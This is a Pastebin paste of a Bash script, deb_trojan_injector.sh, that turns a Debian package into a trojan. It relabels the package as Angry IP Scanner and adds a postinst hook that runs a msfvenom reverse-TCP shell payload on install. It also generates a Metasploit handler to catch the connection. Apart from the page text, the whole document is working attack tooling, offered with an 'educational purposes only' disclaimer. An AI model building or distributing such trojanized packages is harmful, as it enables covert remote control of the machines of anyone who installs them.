Advertisement
Sh3lLDu5T

deb_trojan_injector.sh

Feb 23rd, 2015
416
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 2.88 KB | None | 0 0
  1. #!/bin/bash
  2. # This scrpit will help creat a debian package
  3. # trojan for hack debian operating systems.
  4. # Its a dirty little script for EDUACTIONAL
  5. # PURPOSES ONLY.
  6. #
  7. # The user is entirely responsible for
  8. # any use and damage caused by this script.
  9. #
  10. # Created by </CybaFrE3z>
  11. #
  12. #
  13. redbold='\E[1;31m'
  14. red='\E[0;31m'
  15. yellow='\E[33m'
  16. white='\E[37m'
  17. endc='\E[0m'
  18. clear
  19. echo -e "
  20. $white==============================================================$endc
  21.                    $redbold\DEB PACKAGE INJECTOR$endc
  22.                $yellow[Info]$endc$white This script injects a trojan
  23.                    in a debian package file.$endc
  24.                            $red\By CybaFrE3z$endc
  25. $red--------------------------------------------------------------$endc
  26. $white===============www.facebook.com/lifeofayounghacker============$endc
  27. $red--------------------------------------------------------------"$endc
  28. echo
  29. #Check root
  30. if [ "$(id -u)" != "0" ]; then
  31.    echo -e "$red[!] This script must be run as root$endc" 1>&2
  32.    echo
  33.    exit 1
  34. fi
  35.  
  36. time=$(date +"%H_%M_%S")
  37. echo -ne "$white[+] Path to .deb to inject. (Less than 3MB is recommended)
  38. > "$endc
  39. read path
  40. echo
  41. echo -ne "$white[+] Our listening IP address.
  42. > "$endc
  43. read IP
  44. echo
  45. echo -ne "$white[+] Our listening Port.
  46. > "$endc
  47. read PORT
  48. echo
  49. echo
  50. echo -e "$white[+] Processing....$endc"
  51. mkdir workdir
  52. cd workdir
  53. dpkg -x $path package
  54. cd package && mkdir DEBIAN && cd DEBIAN
  55. echo "chmod 2755 /tmp/libheader && /tmp/libheader &" >> postinst
  56. chmod 755 postinst
  57. echo -e "Package: ipscan
  58. Section: net
  59. Version: 3.2-1
  60. Priority: optional
  61. Architecture: i386
  62. Maintainer: CybaFrE3z <www.fb.com/lifeofayounghacker>
  63. Description: Angry IP Scanner - fast and friendly IP Scanner
  64. Angry IP Scanner is a cross-platform network scanner written in Java.
  65. It can scan IP-based networks in any range, scan ports, and resolve
  66. other information.
  67. The program provides an easy to use GUI interface and is very extensible,
  68. see http://angryip.org/ for more information." > control
  69. sleep 2
  70. cd ..
  71. mkdir tmp && cd tmp
  72. msfvenom -p linux/x86/shell/reverse_tcp LHOST=$IP LPORT=$PORT -f exe -o libheader
  73. cd ../..
  74. dpkg-deb --build package
  75. mv package.deb ../injected-package_$time.deb
  76.  
  77. echo "use exploit/multi/handler
  78. set PAYLOAD linux/x86/meterpreter/reverse_tcp
  79. set LHOST $IP
  80. set LPORT $PORT
  81. exploit -j" > ../msf_handler_$time.rc
  82. cd ..
  83.  
  84. chmod 777 injected-package_$time.deb
  85. chmod 777 msf_handler_$time.rc
  86.  
  87. rm -rf workdir
  88. echo
  89. echo -e "$yellow[+] Done Creating trojan!"$endc
  90. echo -ne "$white[?] Do you want to start a handler now?
  91. (y/n):> "$endc
  92. read option
  93. if [[ $option = Y || $option = y ]] ;
  94. then
  95.     echo -e "$white[+] Starting metasploit handler...$endc"
  96.     sleep 2
  97.     msfconsole -r msf_handler_$time.rc
  98. else
  99.     echo -e "$yellow[+] Ok, Everything is done"$endc
  100.     echo -e "$yellow[+] Find package and RC file here:$endc $white$(pwd)$endc"
  101. fi
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement